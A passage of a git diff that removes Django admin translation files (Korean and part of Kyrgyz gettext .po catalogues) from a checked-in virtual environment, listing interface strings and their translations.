항목들이 선택되어 있어야 합니다. 아무 항" -"목도 변경되지 않았습니다." - -msgid "No action selected." -msgstr "액션이 선택되지 않았습니다." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\"이/가 성공적으로 삭제되었습니다." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"ID \"%(key)s\"을/를 지닌%(name)s이/가 존재하지 않습니다. 삭제된 값이 아닌지 " -"확인해주세요." - -#, python-format -msgid "Add %s" -msgstr "%s 추가" - -#, python-format -msgid "Change %s" -msgstr "%s 변경" - -#, python-format -msgid "View %s" -msgstr "뷰 %s" - -msgid "Database error" -msgstr "데이터베이스 오류" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s개의 %(name)s이/가 변경되었습니다." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "총 %(total_count)s개가 선택되었습니다." - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s 중 아무것도 선택되지 않았습니다." - -msgid "Delete" -msgstr "삭제" - -#, python-format -msgid "Change history: %s" -msgstr "변경 히스토리: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s 을/를 삭제하려면 다음 보호상태의 연관된 오브젝트" -"들을 삭제해야 합니다: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django 사이트 관리" - -msgid "Django administration" -msgstr "Django 관리" - -msgid "Site administration" -msgstr "사이트 관리" - -msgid "Log in" -msgstr "로그인" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s 관리" - -msgid "Page not found" -msgstr "페이지를 찾을 수 없습니다." - -msgid "We’re sorry, but the requested page could not be found." -msgstr "죄송합니다, 요청한 페이지를 찾을 수 없습니다." - -msgid "Home" -msgstr "홈" - -msgid "Server error" -msgstr "서버 오류" - -msgid "Server error (500)" -msgstr "서버 오류 (500)" - -msgid "Server Error (500)" -msgstr "서버 오류 (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"오류가 발생했습니다. 사이트 관리자들에게 이메일로 보고되었고 단시일 내에 수정" -"될 것입니다. 기다려주셔서 감사합니다." - -msgid "Run the selected action" -msgstr "선택한 액션을 실행합니다." - -msgid "Go" -msgstr "실행" - -msgid "Click here to select the objects across all pages" -msgstr "모든 페이지의 항목들을 선택하려면 여기를 클릭하세요." - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "%(total_count)s개의 %(module_name)s 모두를 선택합니다." - -msgid "Clear selection" -msgstr "선택 해제" - -msgid "Breadcrumbs" -msgstr "사용자 위치" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s 애플리케이션의 모델" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "추가" - -msgid "View" -msgstr "보기" - -msgid "You don’t have permission to view or edit anything." -msgstr "독자는 뷰 및 수정 권한이 없습니다." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "비밀번호 변경" - -msgid "Set password" -msgstr "비밀번호 설정" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "아래 오류들을 수정하기 바랍니다. " - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s 새로운 비밀번호를 입력하세요." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"이 작업은 이 사용자에 대해 비밀번호 기반 인증을 활성화합니" -"다." - -msgid "Disable password-based authentication" -msgstr "비밀번호 기반 인증 비활성화" - -msgid "Enable password-based authentication" -msgstr "비밀번호 기반 인증 활성화" - -msgid "Skip to main content" -msgstr "메인 콘텐츠로 이동" - -msgid "Welcome," -msgstr "환영합니다," - -msgid "View site" -msgstr "사이트 보기" - -msgid "Documentation" -msgstr "문서" - -msgid "Log out" -msgstr "로그아웃" - -#, python-format -msgid "Add %(name)s" -msgstr "%(name)s 추가" - -msgid "History" -msgstr "히스토리" - -msgid "View on site" -msgstr "사이트에서 보기" - -msgid "Filter" -msgstr "필터" - -msgid "Hide counts" -msgstr "개수 숨기기" - -msgid "Show counts" -msgstr "개수 표시" - -msgid "Clear all filters" -msgstr "모든 필터 삭제" - -msgid "Remove from sorting" -msgstr "정렬에서 " - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "정렬 조건 : %(priority_number)s" - -msgid "Toggle sorting" -msgstr "정렬 " - -msgid "Toggle theme (current theme: auto)" -msgstr "테마 토글 (현재 테마:자동)" - -msgid "Toggle theme (current theme: light)" -msgstr "테마 토글 (현재 테마: 밝음)" - -msgid "Toggle theme (current theme: dark)" -msgstr "테마 토글 (현재 테마: 어두움)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"%(object_name)s \"%(escaped_object)s\" 을/를 삭제하면서관련 오브젝트를 제거하" -"고자 했으나, 지금 사용하시는 계정은 다음 타입의 오브젝트를 제거할 권한이 없습" -"니다. :" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"%(object_name)s '%(escaped_object)s'를 삭제하려면 다음 보호상태의 연관된 오브" -"젝트들을 삭제해야 합니다." - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"정말로 %(object_name)s \"%(escaped_object)s\"을/를 삭제하시겠습니까? 다음의 " -"관련 항목들이 모두 삭제됩니다. :" - -msgid "Objects" -msgstr "오브젝트" - -msgid "Yes, I’m sure" -msgstr "네, 확신합니다. " - -msgid "No, take me back" -msgstr "아뇨, 돌려주세요." - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"연관 오브젝트 삭제로 선택한 %(objects_name)s의 삭제 중, 그러나 당신의 계정은 " -"다음 오브젝트의 삭제 권한이 없습니다. " - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"%(objects_name)s를 삭제하려면 다음 보호상태의 연관된 오브젝트들을 삭제해야 합" -"니다." - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"선택한 %(objects_name)s를 정말 삭제하시겠습니까? 다음의 오브젝트와 연관 아이" -"템들이 모두 삭제됩니다:" - -msgid "Delete?" -msgstr "삭제" - -#, python-format -msgid " By %(filter_title)s " -msgstr "%(filter_title)s (으)로" - -msgid "Summary" -msgstr "개요" - -msgid "Recent actions" -msgstr "최근 활동" - -msgid "My actions" -msgstr "나의 활동" - -msgid "None available" -msgstr "이용할 수 없습니다." - -msgid "Added:" -msgstr "추가되었습니다:" - -msgid "Changed:" -msgstr "변경:" - -msgid "Deleted:" -msgstr "삭제:" - -msgid "Unknown content" -msgstr "알 수 없는 형식입니다." - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"당신의 데이터베이스 설치, 설치본에 오류가 있습니다. \n" -"적합한 데이터베이스 테이블이 생성되었는지 확인하고, 데이터베이스가 적합한 사" -"용자가 열람할 수 있는 지 확인하십시오. " - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"%(username)s 로 인증되어 있지만, 이 페이지에 접근 가능한 권한이 없습니다. 다" -"른 계정으로 로그인하시겠습니까?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "토글 메뉴" - -msgid "Sidebar" -msgstr "사이드바" - -msgid "Start typing to filter…" -msgstr "필터에 타이핑 시작..." - -msgid "Filter navigation items" -msgstr "탐색 항목 필터링" - -msgid "Date/time" -msgstr "날짜/시간" - -msgid "User" -msgstr "사용자" - -msgid "Action" -msgstr "액션" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "항목" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"이 개체는 변경 기록이 없습니다. 아마도 이 관리자 사이트를 통해 추가되지 않았" -"을 것입니다. " - -msgid "Show all" -msgstr "모두 표시" - -msgid "Save" -msgstr "저장" - -msgid "Popup closing…" -msgstr "팝업 닫는중..." - -msgid "Search" -msgstr "검색" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "결과 %(counter)s개 나옴" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "총 %(full_result_count)s건" - -msgid "Save as new" -msgstr "새로 저장" - -msgid "Save and add another" -msgstr "저장 및 다른 이름으로 추가" - -msgid "Save and continue editing" -msgstr "저장 및 편집 계속" - -msgid "Save and view" -msgstr "저장하고 조회하기" - -msgid "Close" -msgstr "닫기" - -#, python-format -msgid "Change selected %(model)s" -msgstr "선택된 %(model)s 변경" - -#, python-format -msgid "Add another %(model)s" -msgstr "%(model)s 추가" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "선택된 %(model)s 제거" - -#, python-format -msgid "View selected %(model)s" -msgstr "선택된 %(model)s 보기" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "사이트를 이용해 주셔서 고맙습니다." - -msgid "Log in again" -msgstr "다시 로그인하기" - -msgid "Password change" -msgstr "비밀번호 변경" - -msgid "Your password was changed." -msgstr "비밀번호가 변경되었습니다." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"독자의 과거 비밀번호를 입력한 후, 보안을 위해 새로운 비밀번호을 두 번 입력하" -"여 옳은 입력인 지 확인할 수 있도록 하십시오." - -msgid "Change my password" -msgstr "비밀번호 변경" - -msgid "Password reset" -msgstr "비밀번호 초기화" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "비밀번호가 설정되었습니다. 이제 로그인하세요." - -msgid "Password reset confirmation" -msgstr "비밀번호 초기화 확인" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"새로운 비밀번호를 정확히 입력했는지 확인할 수 있도록 두 번 입력하시기 바랍니" -"다." - -msgid "New password:" -msgstr "새로운 비밀번호:" - -msgid "Confirm password:" -msgstr "새로운 비밀번호 (확인):" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"비밀번호 초기화 링크가 이미 사용되어 올바르지 않습니다. 비밀번호 초기화를 다" -"시 해주세요." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"계정이 존재한다면, 독자가 입력한 이메일로 비밀번호 설정 안내문을 발송했습니" -"다. 곧 수신할 수 있을 것입니다. " - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"만약 이메일을 받지 못하였다면, 등록하신 이메일을 다시 확인하시거나 스팸 메일" -"함을 확인해주세요." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"%(site_name)s의 계정 비밀번호를 초기화하기 위한 요청으로 이 이메일이 전송되었" -"습니다." - -msgid "Please go to the following page and choose a new password:" -msgstr "다음 페이지에서 새 비밀번호를 선택하세요." - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "사이트를 이용해 주셔서 고맙습니다." - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s 팀" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"비밀번호를 잊어버렸나요? 이메일 주소를 아래에 입력하시면 새로운 비밀번호를 설" -"정하는 절차를 이메일로 보내드리겠습니다." - -msgid "Email address:" -msgstr "이메일 주소:" - -msgid "Reset my password" -msgstr "비밀번호 초기화" - -msgid "Select all objects on this page for an action" -msgstr "작업에 대한 이 페이지의 모든 객체를 선택합니다." - -msgid "All dates" -msgstr "언제나" - -#, python-format -msgid "Select %s" -msgstr "%s 선택" - -#, python-format -msgid "Select %s to change" -msgstr "변경할 %s 선택" - -#, python-format -msgid "Select %s to view" -msgstr "보기위한 1%s 를(을) 선택" - -msgid "Date:" -msgstr "날짜:" - -msgid "Time:" -msgstr "시각:" - -msgid "Lookup" -msgstr "찾아보기" - -msgid "Currently:" -msgstr "현재:" - -msgid "Change:" -msgstr "변경:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 85267f80..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.po deleted file mode 100644 index adcf4491..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,327 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# DaHae Sung , 2016 -# alexhojinpark, 2023 -# Hoseok Lee , 2016 -# Jaehong Kim , 2011 -# Jannis Leidel , 2011 -# Jay Oh , 2020 -# Le Tartuffe , 2014 -# LEE Hwanyong , 2023 -# minsung kang, 2015 -# Seoeun(Sun☀️) Hong, 2023 -# Yang Chan Woo , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 15:04-0300\n" -"PO-Revision-Date: 2023-12-04 07:59+0000\n" -"Last-Translator: alexhojinpark, 2023\n" -"Language-Team: Korean (http://app.transifex.com/django/django/language/ko/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ko\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, javascript-format -msgid "Available %s" -msgstr "이용 가능한 %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"사용 가능한 %s 의 리스트 입니다. 아래의 상자에서 선택하고 두 상자 사이의 " -"\"선택\" 화살표를 클릭하여 몇 가지를 선택할 수 있습니다." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "사용 가능한 %s 리스트를 필터링하려면 이 상자에 입력하세요." - -msgid "Filter" -msgstr "필터" - -msgid "Choose all" -msgstr "모두 선택" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "한번에 모든 %s 를 선택하려면 클릭하세요." - -msgid "Choose" -msgstr "선택" - -msgid "Remove" -msgstr "삭제" - -#, javascript-format -msgid "Chosen %s" -msgstr "선택된 %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"선택된 %s 리스트 입니다. 아래의 상자에서 선택하고 두 상자 사이의 \"제거\" 화" -"살표를 클릭하여 일부를 제거 할 수 있습니다." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "선택된 %s의 리스트를 필터링 하려면 이 박스에 입력 하세요 ." - -msgid "Remove all" -msgstr "모두 제거" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "한번에 선택된 모든 %s 를 제거하려면 클릭하세요." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s 선택된 옵션은 표시되지 않습니다." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s개가 %(cnt)s개 중에 선택됨." - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"개별 편집 가능한 필드에 저장되지 않은 값이 있습니다. 액션을 수행하면 저장되" -"지 않은 값들을 잃어버리게 됩니다." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"개별 필드의 값들을 저장하지 않고 액션을 선택했습니다. OK를 누르면 저장되며, " -"액션을 한 번 더 실행해야 합니다." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"개별 필드에 아무런 변경이 없는 상태로 액션을 선택했습니다. 저장 버튼이 아니" -"라 진행 버튼을 찾아보세요." - -msgid "Now" -msgstr "현재" - -msgid "Midnight" -msgstr "자정" - -msgid "6 a.m." -msgstr "오전 6시" - -msgid "Noon" -msgstr "정오" - -msgid "6 p.m." -msgstr "오후 6시" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Note: 서버 시간보다 %s 시간 빠릅니다." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Note: 서버 시간보다 %s 시간 늦은 시간입니다." - -msgid "Choose a Time" -msgstr "시간 선택" - -msgid "Choose a time" -msgstr "시간 선택" - -msgid "Cancel" -msgstr "취소" - -msgid "Today" -msgstr "오늘" - -msgid "Choose a Date" -msgstr "시간 선택" - -msgid "Yesterday" -msgstr "어제" - -msgid "Tomorrow" -msgstr "내일" - -msgid "January" -msgstr "1월" - -msgid "February" -msgstr "2월" - -msgid "March" -msgstr "3월" - -msgid "April" -msgstr "4월" - -msgid "May" -msgstr "5월" - -msgid "June" -msgstr "6월" - -msgid "July" -msgstr "7월" - -msgid "August" -msgstr "8월" - -msgid "September" -msgstr "9월" - -msgid "October" -msgstr "10월" - -msgid "November" -msgstr "11월" - -msgid "December" -msgstr "12월" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "1월" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "2월" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "3월" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "4월" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "5월" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "6월" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "7월" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "8월" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "9월" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "10월" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "11월" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "12월" - -msgid "Sunday" -msgstr "일요일" - -msgid "Monday" -msgstr "월요일" - -msgid "Tuesday" -msgstr "화요일" - -msgid "Wednesday" -msgstr "수요일" - -msgid "Thursday" -msgstr "목요일" - -msgid "Friday" -msgstr "금요일" - -msgid "Saturday" -msgstr "토요일" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "일" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "월" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "화" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "수" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "목" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "금" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "토" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "일" - -msgctxt "one letter Monday" -msgid "M" -msgstr "월" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "화" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "수" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "목" - -msgctxt "one letter Friday" -msgid "F" -msgstr "금" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "토" - -msgid "Show" -msgstr "보기" - -msgid "Hide" -msgstr "감추기" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/django.mo deleted file mode 100644 index 60a65073..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/django.po deleted file mode 100644 index 683480cf..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ky/LC_MESSAGES/django.po +++ /dev/null @@ -1,711 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Belek , 2016 -# Chyngyz Monokbaev , 2016 -# Soyuzbek Orozbek uulu , 2020-2021 -# Soyuzbek Orozbek uulu , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-11-27 14:12+0000\n" -"Last-Translator: Soyuzbek Orozbek uulu \n" -"Language-Team: Kyrgyz (http://www.transifex.com/django/django/language/ky/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ky\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Тандалган %(verbose_name_plural)s элементтерин өчүрүү" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s ийгиликтүү өчүрүлдү." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s өчүрүү мүмкүн эмес" - -msgid "Are you sure?" -msgstr "Чечимиңиз аныкпы?" - -msgid "Administration" -msgstr "Башкаруу" - -msgid "All" -msgstr "Баары" - -msgid "Yes" -msgstr "Ооба" - -msgid "No" -msgstr "Жок" - -msgid "Unknown" -msgstr "Такталбаган" - -msgid "Any date" -msgstr "Кааалаган бир күн" - -msgid "Today" -msgstr "Бүгүн" - -msgid "Past 7 days" -msgstr "Өткөн 7 күн" - -msgid "This month" -msgstr "Бул айда" - -msgid "This year" -msgstr "Бул жылда" - -msgid "No date" -msgstr "Күн белгиленген эмес" - -msgid "Has date" -msgstr "Күн белгиленген" - -msgid "Empty" -msgstr "Бош" - -msgid "Not empty" -msgstr "Бош эмес" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Сураныч кызматкердин %(username)s жана сыр сөзүн туура жазыңыз. Эки " -"талаага тең баш тамга же кичүү тамга менен жазганыңыз маанилүү экенин эске " -"тутуңуз." - -msgid "Action:" -msgstr "Аракет" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Дагы %(verbose_name)s кошуу" - -msgid "Remove" -msgstr "Алып таштоо" - -msgid "Addition" -msgstr "Кошумча" - -msgid "Change" -msgstr "Өзгөртүү" - -msgid "Deletion" -msgstr "Өчүрүү" - -msgid "action time" -msgstr "аракет убактысы" - -msgid "user" -msgstr "колдонуучу" - -msgid "content type" -msgstr "Контент тиби" - -msgid "object id" -msgstr "объекттин id-си" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "объекттин repr-и" - -msgid "action flag" -msgstr "аракет белгиси" - -msgid "change message" -msgstr "билдирүүнү өзгөртүү" - -msgid "log entry" -msgstr "Жазуу журналы" - -msgid "log entries" -msgstr "Жазуу журналдары" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” кошулду" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” — %(changes)s өзгөрдү" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "“%(object)s.” өчүрүлдү" - -msgid "LogEntry Object" -msgstr "LogEntry обектиси" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "{name} “{object}” кошулду" - -msgid "Added." -msgstr "Кошулду." - -msgid "and" -msgstr "жана" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}” үчүн {fields} өзгөртүлдү." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} өзгөртүлдү." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” өчүрүлдү." - -msgid "No fields changed." -msgstr "Эч бир талаа өзгөртүлгөн жок" - -msgid "None" -msgstr "Эчбир" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Көбүрөөк тандоо үчүн “CTRL”, же макбук үчүн “Cmd” кармап туруңуз." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" ийгиликтүү кошулду." - -msgid "You may edit it again below." -msgstr "Сиз муну төмөндө кайра өзгөртүшүңүз мүмкүн." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} \"{obj}\" ийгиликтүү кошулду. Сиз башка {name} кошо аласыз." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” ийгиликтүү өзгөрдү. Сиз аны төмөндө өзгөртө аласыз." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "{name} “{obj}” ийгиликтүү кошулду. Сиз аны төмөндө өзгөртө аласыз." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} “{obj}” ийгиликтүү өзгөрдү. Төмөндө башка {name} кошсоңуз болот." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" ийгиликтүү өзгөрдү." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Нерселердин үстүнөн аракет кылуудан мурда алар тандалуусу керек. Эч " -"нерсеөзгөргөн жок." - -msgid "No action selected." -msgstr "Аракет тандалган жок." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s \"%(obj)s\" ийгиликтүү өчүрүлдү" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"ID си %(key)s\" болгон %(name)s табылган жок. Ал өчүрүлгөн болуп жүрбөсүн?" - -#, python-format -msgid "Add %s" -msgstr "%s кошуу" - -#, python-format -msgid "Change %s" -msgstr "%s өзгөртүү" - -#, python-format -msgid "View %s" -msgstr "%s көрүү" - -msgid "Database error" -msgstr "Берилиштер базасында ката" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s%(name)s ийгиликтүү өзгөртүлдү." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Бүт %(total_count)s тандалды" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "%(cnt)s нерседен эчтемке тандалган жок" - -#, python-format -msgid "Change history: %s" -msgstr "%s тарыхын өзгөртүү" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"%(class_name)s %(instance)s өчүрүлүүсү үчүн %(related_objects)s да " -"өчүрүлүүсү талап кылынат." - -msgid "Django site admin" -msgstr "Жанго башкарма сайты" - -msgid "Django administration" -msgstr "Жанго башкармасы" - -msgid "Site administration" -msgstr "Сайт башкармасы" - -msgid "Log in" -msgstr "Кирүү" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s башкармасы" - -msgid "Page not found" -msgstr "Барак табылган жок" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Кечирим сурайбыз, сиз сураган барак табылбады." - -msgid "Home" -msgstr "Башкы" - -msgid "Server error" -msgstr "Сервер катасы" - -msgid "Server error (500)" -msgstr "Сервер (500) катасы" - -msgid "Server Error (500)" -msgstr "Сервер (500) катасы" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ката кетти. Сайт башкармасына экат менен кайрылсаңыз тез арада маселе " -"чечилиши мүмкүн. Түшүнгөнүңүз үчүн рахмат." - -msgid "Run the selected action" -msgstr "Тандалган аракетти иштетиңиз" - -msgid "Go" -msgstr "Жөнө" - -msgid "Click here to select the objects across all pages" -msgstr "Барак боюнча бүт обекттерди тандоо үчүн чыкылдатыңыз" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Бүт %(total_count)s %(module_name)s тандаңыз" - -msgid "Clear selection" -msgstr "Тандоону бошотуу" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "%(name)s колдонмосундагы моделдер" - -msgid "Add" -msgstr "Кошуу" - -msgid "View" -msgstr "Көрүү" - -msgid "You don’t have permission to view or edit anything." -msgstr "Сиз эчнерсени 